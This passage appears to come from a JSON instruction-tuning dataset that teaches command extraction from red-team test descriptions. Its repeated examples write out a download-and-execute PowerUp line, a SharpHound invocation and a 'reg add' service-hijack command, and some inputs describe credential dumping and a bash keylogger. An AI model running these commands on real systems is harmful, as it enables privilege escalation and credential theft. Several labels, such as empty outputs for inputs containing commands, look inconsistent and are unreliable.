\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test is designed to enumerate the COM objects listed in HKCR, then output their methods and CLSIDs to a text file.\nAn adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. \nSee: https://www.mandiant.com/resources/hunting-com-objects",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. \n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use schtasks.exe to disable the System Restore (SR) scheduled task\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Check internet connection using PowerShell's Test-NetConnection cmdlet and the TCP protocol to check for outbound SMB (Port 445) access. The default target is 8.8.8.8.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 